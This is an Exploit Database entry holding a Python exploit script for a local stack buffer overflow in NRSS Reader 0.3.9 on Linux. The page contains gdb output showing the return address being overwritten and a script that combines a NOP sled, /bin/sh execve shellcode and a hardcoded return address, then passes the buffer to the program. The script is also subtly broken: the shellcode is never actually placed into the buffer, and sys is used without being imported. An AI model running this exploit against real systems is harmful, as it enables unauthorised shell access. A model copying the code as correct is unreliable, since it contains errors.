



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

NRSS Reader 0.3.9 - Local Stack Overflow

EDB-ID:

39810

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[LINUX](#)

Date:

2016-05-13

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: NRSS RSS Reader
# Version: 0.3.9-1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: NRSS is a console based RSS reader allowing
# uses to read and manage RSS feeds
# Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb
# MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39
# Website: http://www.codezen.org/nrss/

#
# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# -----
-[regs]
#  EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d
I t S z a p c
#  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFD60  EIP:
0x41424344
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while
running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()

import os, subprocess

def run():
    try:
        print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
        print "# This Exploit has been developed using Exploit Pack"
        # NOPSLED + SHELLCODE + EIP

        buffersize = 256
        nopsled = "\x90"*200
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        eip = "\xd0\xec\xff\xbf"
        buffer = nopsled * (buffersize-len(shellcode)) + eip
        subprocess.call(["nrss -F", ' ', buffer])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "Sorry, NRSS Reader - Not found!"
        else:
            print "Error executing exploit"
            raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
        print "Author: Juan Sacco - Exploit Pack"
    except IndexError:
        howtousage()
run()

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.